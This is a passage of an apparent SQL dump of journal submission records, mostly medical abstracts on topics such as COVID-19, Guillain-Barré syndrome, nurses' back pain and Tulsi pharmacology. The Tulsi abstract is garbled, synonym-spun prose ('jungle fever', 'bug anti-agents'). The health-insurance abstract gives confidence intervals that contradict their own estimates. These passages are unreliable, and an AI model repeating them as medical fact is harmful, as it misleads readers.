puede conllevar a complicaciones como shock hipovolemico y lesion renal aguda. Reportamos el caso de un paciente masculino con cuadro clinico de 15 dias de evolución de diarrea, alteraciones hidroelectroliticas refractarias  y requerimiento de terapia de reemplazo renal con presencia de adenoma velloso en recto y sigmoide. ','Síndrome de McKittrick-Wheelock (SMW), adenoma velloso, diarrea secretora, reporte de caso.',2805,NULL,'2021-03-30',NULL,'Submitted',2,NULL,'2021-05-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8015,9203,45,0,'iphsj-21-8015','Analysis of the responses to COVID-19 in Australia, New Zealand, and Indonesia: the tale of the three Island States',NULL,15,0,'','At the end of 2019, a new pneumonia disease caused by Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) was first spreading in Wuhan, China, and has continued to spread throughout the world. On March 11, 2020, the World Health Organization declared it was a pandemic. Many countries are aware of the risks of the novel coronavirus and have adopted different measures to contain the spread of the virus. However, the spread of the virus and its impact is variable across countries including Australia, New Zealand, and Indonesia. This paper aims to compare and contrast the epidemics in Australia, New Zealand, and Indonesia, then identify the containment strategies in these countries in order to facilitate cross-country learning. We conducted a mixed-methods study to understand the epidemic and explain the variability of the epidemic in these three Island States.  We have found that Australia and New Zealand have implemented public health measures, including good governance of the epidemics, communication, social distancing and personal hygiene measures, and provided sufficient medical services. On the contrary, these measures are either non-existent or implemented inadequately in Indonesia. We argue that the implementation of these public health measures and provision of medical services are all necessary to control the COVID-19 epidemics in Indonesia and other countries.','',685,NULL,'2021-03-30',NULL,'Submitted',2,NULL,'2021-04-13',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8019,9202,277,0,'ipadm-21-8019','INFECCIÓN POR SARS-CoV-2 Y SINDROME DE GUILLAIN-BARRÉ',NULL,15,0,'','El síndrome de Guillain-Barré es la causa más frecuente de parálisis flácida a nivel mundial, genera una gran carga neuroinmune y provoca clásicamente polineuropatía aguda desmielinizante de etiología multiple. Varios agentes infecciosos han sido relacionados como desencadenantes de su fisiopatología tales como Campylobacter jejuni, haemophylus influenzae, virus del Zika, entre otros; Además, los factores de riesgo ambientales y genéticos podrían influir generando un mayor impacto en la enfermedad. El surgimiento y propagación a nivel mundial del virus emergente de la familia SARS tomó por sorpresa a la comunidad científica, constituyendo un reto para la humanidad. Los coronavirus son importantes patógenos humanos y animales. Se ha relacionado al virus SARS COV-2 con complicaciones neurológicas de manera frecuente en los pacientes hospitalizados, cuando la carga de inmuno-compromiso supone ser mayor, dejando entrever la posible relación entre este agente infeccioso y el síndrome de Guillain-Barré, encontrando algunos reportes y series de casos con tasas que varían según la metodología del estudio y las características de los pacientes. El síndrome de Guillain-barré establece una emergencia neurológica y un gran reto diagnóstico de una enfermedad potencialmente mortal.','Síndrome de Guillain-Barré; Polirradiculoneuropatía Desmielinizante Inflamatoria; Polineuropatía Inflamatoria Aguda, Infecciones por Coronavirus, COVID -19, SARS',2805,NULL,'2021-03-30',NULL,'Submitted',2,NULL,'2021-05-11',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8041,7462,971,0,'ipaclr-21-8041','Seroprevalence of cytomegalovirus among schizophrenic patients in Khartoum State',NULL,14,0,'','Background: Human cytomegalovirus (HCMV) is a microbe capable to establish lifetime tenacious infections. Schizophrenia is a mental malady described by atypical social behavior and failure to comprehend what is actual.\r\nObjectives: To recognize the seroprevalence of cytomegalovirus between schizophrenic patients in Khartoum state.\r\nMethod: Hospital based, descriptive cross sectional study, eighty schizophrenic patients participated in the study.\r\nResult: The CMV seropositive detected in 31 patients with the percentage 38.75%. 18 of seropositive patients were males with the percentage 58.06%, while 13 of them were female with the percentage 41.9%\r\nConclusion: Our study revealed that Males are more affected with both schizophrenia and cytomegalovirus. Further studies are required with large sample size and other laboratory diagnostic methods to detect CMV such as Polymerase chain reaction technique.','Seroprevalence, Cytomegalovirus, Schizophrenia, Khartoum, Sudan',3249,NULL,'2021-03-31',NULL,'Submitted',2,NULL,'2021-04-25',NULL,1,1,'1','Accept\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(8043,9222,73,0,'ipjnn-21-8043','Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy',NULL,14,0,'','Background\r\n     Celiac ganglion block has been adapted for abdominal pain management for decades with substantial effectiveness. Localization of celiac ganglion or plexus is to be performed during surgery. Our study aims to disclose the effectiveness and precision of Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis (iCT-PCPN) for patients with abdominal pain related to peritoneal carcinomatosis.\r\nMethods\r\n     From January 2013 to December 2017, we completed iCT-PCPN for patients with peritoneal carcinomatosis-related pain. Chemolytic agents of phenol or alcohol were used for ganglion neurolysis. We have compared Numeric Rating Scale (NRS) and morphine dosage pre-operatively and post-operatively. \r\nResults\r\n     Fourteen patients were included and 4 patients excluded. A statistical decrease of NRS was observed (median of the basal NRS 10(Q1=9, Q3=10) compared with median NRS 3(Q1=2, Q3=5) at 1 day, p<0.005, and median NRS 5(Q1=4, Q3=6) at 28 days, p<0.005). The dosage of morphine administered did not increase significantly after iCT-PCPN(p>0.05). This indicate that iCT-PCPN could provide effective pain management for peritoneal carcinomatosis and decrease the use of morphine and its side effects.\r\nConclusion\r\n     Cancer-related peritoneal carcinomatosis is an ongoing process. We find that the patients may benefit from the procedure of iCT-PCPN by its precision, effective pain relief, and less complications arise from high dose of opioids. Therefore, patients with peritoneal carcinomatosis could have better quality of life during hospice care.','Peritoneal carcinomatosis\r\nCeliac ganglion plexus neurolysis\r\nintraoperative computer tomography',4043,NULL,'2021-03-31',NULL,'Submitted',2,NULL,'2021-06-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8048,9224,45,0,'iphsj-21-8048','LEVEL OF ACTIVE LIFESTYLE AND EXERCISE APPROACH AMONG STUDENTS OF THE UNIVERSITY OF NOVI PAZAR DURING THE COVID-19 PANDEMIC',NULL,9,0,'','The effect of temporary measures caused by the emergence of the COVID-19 virus has affected the limited movement and lifestyle change of the student population. This research aimed to determine changes in healthy lifestyle habits and the way of conducting the physical activity of students caused by the COVID-19 pandemic to prevent harmful consequences, primarily on their health and then on their body form. The sample of respondents consisted of male and female students of the University of Novi Pazar in Serbia (n=68; 21.6 ± 1.91 years of age). This research used a survey questionnaire based on the assessment of healthy lifestyle habits.  A review of the results can be concluded that 45.6% of students at the University of Novi Pazar regularly engage (at least three times a week) in some of the forms of sports and recreational activities, while 54.4% do not engage in regular physical activity. Male and female students consume healthier foods such as cooked meals (74.5%) and fruits and vegetables (85.9%). In addition to healthier products, students also consume products with much lower nutritional quality such as dough products (73.3%), sweets (67.7%), and snacks (56.9%). It was noted that male and female students had significantly better mood (73.8%) and concentration (60%) after physical activity than before the exercise. Raising awareness of the importance of physical activity and healthy nutrition habits can affect the prevention and correction of these problems and improve the mental health of students.	','Physical Activity and Exercise, Sedentary Lifestyle, Nutrition, COVID-19',2879,NULL,'2021-03-31',NULL,'Submitted',4,NULL,'2021-06-05',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8064,9236,326,0,'IPJUS-21-8064','Profile of Children Presenting with Gangrenous Intussusception: A Tertiary Hospital Experience.',NULL,14,0,'','Background: Intussusception is a common cause of intestinal obstruction in children. The aim of this study was to evaluate our experience in the management of children whose intussusception was found to be gangrenous at surgery.  Materials and Methods: This was a retrospective study of children below 15 years of age who had laparotomy for intussusception between January 2017 and December 2018 at a tertiary hospital in Enugu Nigeria. Results: A total of 71 cases of intussusceptions were managed during the study period. Out of this number, 47 (66.2%) patients were noticed to have gangrenous intussusception at surgery and formed the basis for this report. There was male predominance and the peak age of the patients was 7 months. The mean duration of hospital stay was 10 days. About one-quarter of the patients had a history of preceding viral infection of the respiratory or gastrointestinal tract and all the intussusception were ileocolic. Right hemicolectomy with ileotransverse anastomosis and surgical site infection were the definitive operative procedure performed and most common post-operative complication respectively. Eight (17%) patients expired. Conclusion: Late presentation of children with intussusception could result in bowel gangrene which is associated with significant morbidity and mortality. Early presentation is advised.','Children, gangrene, experience, intussusception, ileocolic.',2505,NULL,'2021-04-01',NULL,'Submitted',2,NULL,'2021-04-15',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8068,9240,86,0,'ipaom-21-8068','Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia',NULL,14,0,'','Abstract\r\nCommunity-based health insurance (CBHI) schemes are an emerging tool for providing financial protection against health-related poverty. In Ethiopia, CBHI is being piloted in 13 districts and expanded to 427 but community satisfaction with the scheme and health service delivery study have yet limited. Therefore, this study aimed to assess the satisfaction of CBHI clients on the public health service they acquire.\r\nMethods: A facility based cross-sectional study design was conducted from March and April, 2019 in ArsiNageleWoreda health centers. Three hundred ninety eight participants who visited the health care facility during the study period were included for quantitative and key informants interview were interviewedData was analyzed by SPSS version 22and association of dependent and predictors  using variable was declared at 95%CI on P<0.05\r\nResult: A total of 399 patients were participated in the study, yielding a response rate of 95%. 63.1 % were male and 36.9 were females. The findings of the study showed that the overall client satisfaction level of CBHI with the health services received from the targeted health centers were 63.4% (95% CI= 26.1-35.2). Clients who aged from 15-24 years [AOR=0.34 (95%CI= 1.34-8.00)]. Those who have level of secondary education and above [AOR=0.45 (95% CI: 1.56-4.40)], waiting time at consultation area [AOR=0.68 (95% CI: 1.01-3.87)] and drugs availability [AOR=0.71 (95% CI: 2.15-10.30)].Clients who were informed about service available at health facilities [AOR=2.11(95% CI: 1.29-3.47)] were less likely unsatisfied with service delivered at health facilities. Qualitative dimension showed that the most unsatisfactory aspect for the CBHI clients on health service was lack of human power and Drugs at health facilities.\r\nConclusion and recommendation: This study showed higher clients’ satisfaction level in ArsiNegeledistricthealth facilities when compared to similar studies in the country. Young age, lack of drugs and supplies, poor information provision, long waiting time at consultation, was found to be the major causes of dissatisfaction. Therefore, the districthealth offices should address and work on this predictor to regulate clients’ satisfaction for CBI services.\r\n','Key word: Community-based health insurance, level, predictors, Arsi Negele, Ethiopia',2890,NULL,'2021-04-01',NULL,'Submitted',2,NULL,'2021-05-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8073,9247,45,0,'iphsj-21-8073','LOW BACK PAIN AND ASSOCIATED FACTORS AMONG NURSES WORKING IN HOSPITALS, BOLE SUB CITY, ADDIS ABABA, ETHIOPIA, 2020',NULL,14,0,'','Abstract\r\nBackground: - Back pain, also known as backache, is pain felt in the back. The back is divided into neck pain (cervical), middle back pain (thoracic), lower back pain (lumbar) or coccydynia (tailbone or sacral pain) based on the segment affected. The lumbar area is the most common area affected. Episodes of back pain may be acute, sub-acute, or chronic depending on the duration. The pain may be characterized as a dull ache, shooting or piercing pain, or a burning sensation. Discomfort can radiate into the arms and hands as well as the legs or feet, and may include numbness, or weakness in the legs and arms. Nurses are the front line health professional who spent most of their time caring for their patients. Due to prolonged standing due to long procedures and caring debilitated patients’ nurses are prone for low back pain (LBP). This pain affects their quality of life and sometimes may force them to absent from their job. However, there is no sufficient information on the prevalence of low back pain and its associated factors in the study area. \r\nObjective: -The main objective of this study is to assess the prevalence of low back pain and associated factors among nurses, working in private hospitals in Bole sub city, Addis Ababa, Ethiopia. \r\nMethods-: Institutional based cross sectional study was conducted among 196 nurses from April 20 to May 20, 2020 by use of simple random selection.  Data was entered to SPSS version 21 for analysis. Descriptive analysis was performed for each variable. Association between dependent and independent variables was examined using bi variable and multivariable logistic regression models with 95% confidence interval. Level of significance was determined at p-value less than 0.05. \r\nResult: Over half (56.3%) of the respondents were females; the mean (standard deviation) age of the nurses was 28 (±7.38) years. The overall prevalence of low back pain was 67.2%. About 33.9% of the nurses reported that they had sleeping disturbances. The odds of low back pain among nurses who had a sleeping disorder were 57% less likely (AOR=0.43; 95% CI: 0.23, 0.82) compared with nurses who had normal sleep.  \r\nConclusion: About 33.9% of the nurses reported that they had sleeping disturbances. Low back pain among hospital nurses was almost comparable at 79.9% and 70.7%, respectively. Thus, addressing work-related and individual factors are essential to decrease the burden of the problem.\r\nKey words: prevalence, Risk factor, low back pain ','prevalence, Risk factor, low back pain ',4076,NULL,'2021-04-02',NULL,'Submitted',2,NULL,'2021-07-30',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(8074,9248,73,0,'ipjnn-21-8074','Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology',NULL,14,0,'','Background: Augmenter of liver regeneration (ALR) is an antioxidant, antiapoptotic and mitochondrial-protective factor. Evidence exists that (i) ALR is variously expressed by many neurons in the central nervous system; (ii) ALR is differently expressed in female and male cells; (iii) neurodegenerative diseases triggered by dysregulation of cell normoxic conditions differently affect the 2 sexes.\r\nAim of the present study was to analyze the ALR presence in the prosencephalon of female and male mice and evaluate whether differences in expression exist between the two genders.\r\n\r\nMethods and Results: Harvested prosencephala were investigated by Western blotting and immunohistochemistry to assess ALR expression.\r\nWestern blotting revealed 2 ALR isoforms, ALR-21 and ALR-23, both more expressed in male prosencephalon. Immunohistochemistry revealed ALR-immunoreactive neurons diffusely distributed in the prosencephalon, but with a significantly higher number in male prosencephalon.\r\n\r\nConclusion: The different ALR expression level in female and male mouse prosencephalon may represent a marker of sexual dimorphism. The higher ALR expression seen in male prosencephalic neurons suggests that ALR, an antioxidant factor, could parallel the antioxidant effect of female sex steroid hormones that are known to be more effective compared to the male sexual steroids in protecting against the oxidative stress. These data open new options to study the neurodegenerative diseases, particularly those showing gender differences in terms of epidemiology.','Augmenter of liver regeneration (ALR); Mouse prosencephalon; Oxidative stress (OS); Neurodegenerative diseases; Sex steroid hormones; Sexual dimorphism.',327,NULL,'2021-04-02',NULL,'Submitted',2,NULL,'2021-06-28',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8076,9247,45,0,'iphsj-21-8076','PREVALENCE AND FACTORS ASSOCIATED WITH WORK PLACE VIOLENCE AGAINST AMBULANCE CARE PROVIDERS AT ADDIS ABABA FIRE AND DISASTER MANAGEMENT COMMISSION, ETHIOPIA',NULL,14,0,'','Abstract\r\nBackground  \r\nAmbulance staff works in conditions that are often unpredictable, difficult, and sometimes dangerous, and in which it is difficult to provide adequate security. In Ethiopia there are no research articles which are conducted on prevalence and associated factors of workplace violence in ambulance care providers. \r\nObjectives \r\nTo assess the prevalence and factors associated with workplace violence among ambulance care providers in Addis Ababa fire and disaster risk management commission.2020 E.C \r\nMethods \r\nAn institution based cross-sectional study was employed in Addis Ababa FDRMC. A structured quantitative questionnaire developed by reviewing different literatures and adapted to local situation with necessarily modifications. Simple random sampling method was used to get the required sample size and Strata created based on profession and sample within each stratum was further selected by simple random sampling. \r\nFour staffs were distributed questionnaires at the 9 branch who gave consent after clear explanation of the objectives of the study and confidentiality. Data was entered Epi-data version 7.2 and cleaned for missed values and analyzed using SPSS version 24 statistical packages. Binary logistic regression was performed to see the existence of association between workplace violence and independent variables. Then those independent variables which was significantly associated with workplace violence in binary logistic regression analyses with a P-value <0.05 was included in the multivariable logistic regression analysis to identify the independent predictors of workplace violence.  \r\nResult \r\nThis research showed high prevalence of violence and we have got that staff had been exposed to physical violence 24.6 %, verbal violence 51.5%, mobbed/bulled 31.6 % and sexual violence 28.7%, respectively age, sex, direct physical contact and interaction with the patient were statistically significant variables (< 0.05).  \r\nConclusion and Recommendation majority of FDRMC ambulance staff were violated by the general public. Reporting procedure and workplace violence prevention mechanism should implement in the organization.\r\nKey word: Prevalence, Violence Ambulance care','Prevalence, Violence Ambulance care',4660,NULL,'2021-04-02',NULL,'Submitted',2,NULL,'2021-07-30',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8086,9258,45,0,'iphsj-21-8086','PSYCHOLOGICAL AND SOCIOECONOMIC PROBLEMS ON DIABETIC, CARDIAC AND OBESITY PATIENTS DURING COVID PANDEMIC ',NULL,5,0,'','COVID-19 is the disease caused by a new coronavirus called SARS-CoV-2.  WHO first learned of this new virus on 31 December 2019, following a report of a cluster of cases of ‘viral pneumonia’ in Wuhan, People’s Republic of China. This unpredictable, fast spreading infectious disease has been causing universal awareness, anxiety and distress, financial losses ,depression, transportation ,availability of food and medication   all of which according to WHO .So the impact of covid 19 on diabetic ,cardiac and obesity patients are increased during this pandamic period in many ways. With this background ,the present study was taken with the objective to assess the impact of covid 19 on diabetic,cardiac and obesity patients. There are totally 150 people participate who suffered from diabetics ,cardiovascular disease and obesity in online survey focused in Kollam district , kerala were using telephone and online mode. A detailed and structure questionaire which circulated through social media like whats up in the form of google form to between 40-60 age group. In the questionaire was used to collect personal informations, weight, height ,medical history and a set of questions based on problems and sufferings faced on covid pandamic, physical activity and dietary habits during covid pandamic. From the study it was found that majority of  the people suffered  psychologically like longiness, depression ,stress, fear of spreading virus and anxiety at the same.time they faced problems related to socioecnomically like transportation, financial  issues are mainly affected among them .\r\n\r\n','COVID PANDAMIC,DEPRESSION,LONGINESS,STRESS,ANXIETY TRANSPORTATION,FINANCIAL ISSUES',685,NULL,'2021-04-03',NULL,'Submitted',2,NULL,'2021-05-21',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8092,7963,45,0,'iphsj-21-8092','Key restoration methods of a polluted river ecosystem: A Systematic Review ',NULL,15,0,'Aquaculture preservation','Background: River is one of a freshwater ecosystem that plays an important role in people\'s living, aquatic and terrestrial living organisms, and agricultural production. \r\nCompared to other ecosystems, rivers support a disproportionately large number of plant and animal species. However, excessive human activities have busted the original ecological balance by polluting the river ecosystem. As a result, partial or total affected the structure and functions of the river ecosystem. This review aimed to investigate the major ecological restoration methods of the polluted river ecosystem.\r\nMethods: We have adopted the procedures from the Preferred Reporting Items for Systematic Reviews and Meta-Analyses (PRISMA) guidelines. The required data were collected via a literature search of MEDLINE/PubMed, Google Scholar, Science Direct, EMBASE, HINARI, and Cochrane Library from the 9th of September, 2019 to the 5th of March, 2020 using combined terms. Articles were included in our review; only if it assessed empirically and comparison and contrast between two or more different restoration methods. This review; it is mainly included published research articles, national reports, and annual reports and excluded opinion essays. \r\nResults: Commonly used methods for restoration of polluted rivers around the globe could be categorized depending on the physical, chemical, and biological characteristics of the river. Restoration methods such as channel hydromorphic, aeration, watershed action, riparian, In-stream hydromorphic, and In-stream or wetland creation restoration account for 16%, 19%, 12%, 22%, 17% and 14% of river ecosystem restoration efficiency respectively. From the restoration methods: riparian, artificial aeration and In-stream or wetland creation are preferred for restoration of chemical characteristics. For the restoration of physical characteristics; watershed action and channel hydromorphic are preferred. While for the restoration of biological characteristics; in-stream hydromorphic is the preferred one. \r\nConclusion: Contaminated Rivers can be restored by using different restoration methods. The selection of the preferred restoration methods depends on the physical, chemical, and biological characteristics of the river.','Keywords/Phrases: Polluted river, Restoration Methods, Ecosystem',2068,NULL,'2021-04-04',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8095,9267,45,0,'iphsj-21-8095','PREVENTION MEASURES FOR POST INTENSIVE CARE SYNDROME IN TIMES OF COVID 19',NULL,16,1,'COVID 19','The world is facing a great pandemic due to SARS-CoV-2, which produces COVID 19, which is leading all health systems to total collapse and intensive care units to work well beyond their capacity. At this time of the pandemic, the highest priority focuses on keeping mortality as low as possible, therefore, critical care has become a fundamental pillar.\r\nBut as a result of the above, there has been an increase in post-intensive care syndrome, which is defined as a new alteration or a worsening in physical (skeletal and respiratory muscle weakness), cognitive (executive functions, memory and speed of movement). processing) or mental (anxiety and post-traumatic stress) arising and persisting long-term after hospitalization for critical illness.\r\n','POST INTENSIVE CARE SYNDROME; COVID 19',4660,NULL,'2021-04-05',NULL,'Submitted',2,NULL,'2021-04-23',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8098,9269,975,0,'ipjbs-21-8098','“Circulating Tumor Cells (CTC) as prognostic and predictive biomarkers in Post-Operative m-CRC”',NULL,2,0,'','Circulating tumor cells (CTCs) can provide a non-invasive, repeatable snapshot of an individual patient’s tumor. More recently,\r\nCTC analysis has been shifting from enumeration to more sophisticated molecular characterization of captured cells, which serve\r\nas a “liquid biopsy” of the tumor, reflecting molecular changes in an individual’s malignancy over time. Here we will review the main\r\nCTC studies in advanced and localized metastatic colorectal cancer, highlighting the important gains as well as the challenges\r\nposed by various approaches, and their implications for advancing prostate cancer management.The ability to detect circulating\r\ntumour cells (CTC’s) or circulating free tumour DNA (ctDNA) to guide patient treatment and inform prognosis is highly attractive,\r\nespecially since it has the potential to provide multiple samples by way of serial minimally-invasive “liquid biopsies”. In particular,\r\nthere is increasing evidence for the utility of CTC’s in the clinical management of colorectal cancer (CRC), with most studies\r\nconfirming the association of high CTC counts with worse prognosis.CTC’s were first identified by Ashworth in 1869. However for\r\nover a century CTC research has been hampered by the inability to reliably detect these rare cells. While the normal range of white\r\nblood cells in human blood is 7-12x109/L, there may only be a few CTC’s. The most widely used CTC enumeration platform, CellSearchTM (Veridex LLC, NJ, USA) was approved for clinical use. Initially for patients with breast cancer in 2004 and CRC in 2007\r\nand prostate in 2008. As treatment options expand for metastatic colorectal cancer (mCRC), a blood marker with a prognostic and\r\npredictive role could guide treatment. We tested the hypothesis that circulating tumor cells (CTCs) could predict clinical outcome in\r\npatients with mCRC.Building on our pilot study, this current multicenter study demonstrates that CTCs can serve as both a\r\nprognostic and predictive factor for patients with mCRC. The presence of at least three CTCs at baseline and follow-up is a strong\r\nindependent prognostic factor for inferior PFS and OS. When utilized in conjunction with imaging studies, CTCs provide additional\r\nprognostic information. There are several scenarios for which CTCs could have utility in colorectal cancer. The data presented\r\nsuggest that CTCs may be used as a stratification factor in future advanced disease treatment studies. The current list of validated\r\nprognostic factors is short, with only performance status being universally recognized. Further study should prospectively address\r\nwhether modification of treatment based on unfavorable CTCs early in the course of treatment will result in improvement in PFS or\r\nOS. As treatment has become more effective for mCRC, decision making has become more complicated. Five classes of drugs are\r\navailable for treatment, and traditional definitions of lines of therapy have blurred. The most common initial chemotherapy\r\nbackbone is a fluoropyrimidine with oxaliplatin (FOLFOX) or irinotecan (IFL saltz). CTC levels drawn at 3 to 5 weeks and 6 to 12\r\nweeks, before typical imaging intervals, may have the potential to inform treatment choices and spare patients unnecessary toxicity\r\nby suggesting that an early change in therapy is warranted.\r\n',' Circulating Tumor Cells (CTC),\r\nMetastic Colorectal Cancer (m-CRC),\r\nOverall Survival (OS)',3460,NULL,'2021-04-05',NULL,'Submitted',4,NULL,'2021-06-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(8102,9275,45,0,'iphsj-21-8102','Alternate method of scoring EuroQol five-dimensional scales',NULL,14,0,'','Objectives: A simple method of numerical scoring of value-sets emerging from EuroQol five-dimensional questionnaires is proposed satisfying desired properties including meaningful comparison of patients and group of patients across time and space.\r\nMethods: Data driven weights are assigned to different levels of different dimensions and continuous scores (Y) corresponding to a health state are obtained as weighted sum. Y-scores are further transformed by linear transformations to P-scores ? [1,100] following Normal distribution.  Illustration of the proposed method of scoring health states and its properties are given with a hypothetical data\r\nResults: The method helps in assessment of health profile, progress/deterioration with time, classifying and ranking of a group of patients, meaningful comparisons and application of statistical techniques in parametric set up along with computation of treatment effectiveness, reliability avoiding unidimensionality assumption. The method may work best for sample of patients suffering from same disease\r\n Conclusions: The approach makes no assumption about distributions of dimension/level scores. \r\nThe proposed simple measures will help the researchers and practitioners to make meaningful analysis and draw meaningful conclusions. The proposed scoring method is applicable for EQ-5D-5L, EQ-5D-3L and EQ-5D-Y. Future studies suggested on psychometric properties of the proposed scoring system.','Effective treatment;  EQ-5D-3 L; EQ-5D-5 L; Health state values; Health-related quality of life ; Normality',643,NULL,'2021-04-06',NULL,'Submitted',2,NULL,'2021-06-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8114,9288,667,0,'iptb-21-8114','Pigeonpea sterility mosaic virus a green plague-Current status of available drug and new potential targets',NULL,25,0,'','Pigeonpea is one of the important legume crops with high protein content and nutritional trait.  Ithas enormous potency for its widespread adoption by farming communities. It is affected by various biotic and abiotic stresses. In context, of biotic stresses Sterility mosaic disease (SMD) is one of the severe diseases in pigeonpea which ultimately lead to the drastic yield loss.The virus belongs to the genus Emaravirus, family- Fimoviridae. SMD is associated with two diverse types of emaravirus, Pigeonpea sterility mosaic virus1 (PPSMV-1) and Pigeonpea sterility mosaic virus 2 (PPSMV-2). It is transmitted by the mite (Aceria cajani), mainly environmental contribute to the feasibility for the mites for the inoculation of the virus. The SMD is mainly governed by two genes SV1 that includes the dominant allele and serves as an inhibitory action on the resistance of the SV2.Methods for identification of the virus includeRT-PCR, DIBA and ELISA using alkaline phosphatase or penicillinase.To control SMV disease farmers generally adopted intercropping methods. There are few potential drugs have been identified for the administration of the disease such as 0.1% Fenazaquin, Dicofol, Imidacloripid, Carbosulfan; Spiromesifin includes the inhibition of the mite inoculation on the pigeonpea plant. In the present review, describes compressive and systematic insights on SMVprotein targets and potential drugs that could be utilized as the presumed drug targets for the finding of true drugs against the SMD in pigeonpea.','drug targets, emaravirus, pigeonpea, protein structure SMD, SMV1 and SMV2',3646,NULL,'2021-04-07',NULL,'Submitted',2,NULL,'2021-05-26',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(8115,9289,45,0,'iphsj-21-8115','DYSMORPHIC SYNDROME OR BODY DYSMORPHIC DISORDER: A MAJOR UNDERDIAGNOSED MENTAL HEALTH PROBLEM',NULL,15,0,'','Abstract\r\nThe Body Dysmorphic Syndrome (CDS) is a clinical entity that consists of an agonizing concern for imaginary or slight defects in appearance, this is commonly considered as an obsessive-compulsive spectrum disorder, based on the similarities it has with this condition.\r\nClinically, it is underdiagnosed because many patients are shy about showing their secondary problem, since most of the time it derives from the altered perception of the skin, hair or nose. However, the disorder can point to various aspects of the patient\'s appearance throughout his life, it arises if one believes himself to be ugly, deformed or unattractive in the presence of no or minimal culturally acceptable physical deformity and is related to strong feelings of shame accompanied by repetitive behaviors such as checking in the mirror, camouflage of \"defects\", among others.\r\nThe World Health Organization (WHO) has considered this disorder as one of the ten most disabling diseases, since the person can avoid social or personal contact. For this reason, CDS is currently considered one of the potentially fatal diseases due to abuse of surgical (cosmetic) procedures and the high rate of suicide attempts with 80% in patients with CDS generate suicidal ideation, but 50% run it.\r\n','Key Words: Body Dysmorphic Syndrome, Dysmorphophobia, Body Dysmorphic Disorder',4792,NULL,'2021-04-07',NULL,'Submitted',2,NULL,'2021-06-09',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8118,9292,639,0,'ipfs-21-8118','Taurine or sodium diformate supplementation to a low fishmeal plant- based diet enhanced immunity and muscle cellularity of European sea- bass (Dicentrarchus labrax)',NULL,17,1,'FIsh Stock and sustainable yield','A feeding trial was carried out to investigate the effects of either taurine (T) or sodium diformate (NDF) supplementation to a low fishmeal (FM) plant-based diet on growth, health status, immunity and muscle cellularity of European seabass, Dicentrarchus labrax. Four diets contained either 46% FM as the control (CTRL), or 20% FM and a mixture of plant proteins (PMX), complemented or not with 1% T (PMX+T) or 0.3% NDF (PMX+NDF) were fed to juvenile seabass (~14.0 g) for 13 weeks. Major findings suggest that the low-FM/plant-mix diet enriched with either T or NDF can promote growth, normalize physiological conditions and improve the striated muscle structure of fish....','Taurine, Sodium diformate, Muscle ultrastructure',1776,NULL,'2021-04-08',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8122,9296,45,0,'iphsj-21-8122','Ocimum Sanctum [OS] Linn (Tulsi) Give a different Pharmacognostic and Pharmacological movement On a Different sort of Disease',NULL,1,1,'Ocimum Sanctum [OS] Linn (Tulsi) Give a different Pharmacognostic and Pharmacological movement On a Different sort of Disease','The current audit article clarifies the restorative and remedial employments of the Tulsi plant in customary medication. Tulsi (Ocimum sanctum [OS] Linn.) is it a fragrant plant that has a place with the family Lamiaceae? It is customarily utilized for the readiness of different Ayurvedic definitions for the treatment of bronchitis, flu, and asthma. A hot blend of Tulsi leaves is typically accommodated for prompt alleviation in the chilly, sniffling nose, hack, jungle fever, and dengue. This article clarifies the organic adequacy of OS against diabetes mellitus, hypertension, malignant growths, respiratory infections, joint inflammation, different microorganisms, and parasites. Tulsi removes and their different bio-natural constituents showed cell reinforcement movement, hostile to atherogenic impact, against maturing, immunomodulatory, calming, antistress,hepatoprotective, radioprotective, antihelmintic, repellent, and larvicidal movement. Tulsi dynamic fixings showed calming properties and furthermore assume a part in the adjustment of both cell and humoral invulnerability. The plant shows recuperating properties in hepatic injury and gastric ulcers. It mitigates from pressure, reestablishes, and improves body invulnerability and assimilation. Ocimum basilicum L. Contains (- )- linalool, eugenol, and methyl chavicol, methyl chavicol (93.0%), gamma-caryophyllene as significant constituents. Minor oil constituents are (+)- delta-cadinene,3-carene, alpha-humulene, citral, and (- )- trans-caryophyllene. Tulsi oil contains high alpha-linolenic corrosive substance essentially eicosanoid antecedent polyunsaturated unsaturated fats which are profoundly mitigating demonstrated the presence of camphor, caryophyllene oxide, cineole, methyl eugenol, limonene, myrcene, and thymol, all known bug anti-agents. Its fundamental oil (EO) can be utilized to lessen the development of mosquitoes and control jungle fever. It is agreat repellant and can be utilized for stopping flies, mosquitoes, and creepy crawlies. Most likely Tulsi plant is a decent wellspring of common items basically phytoconstituents and EO which can be utilized as an elective medication for the treatment of different infirmities and human medical conditions however the legitimate piece and proper definitions is needed prior to being utilized.','ayurvedic medication, Tulsi, Ocimum sanctum, fundamental oil, restorative, remedial 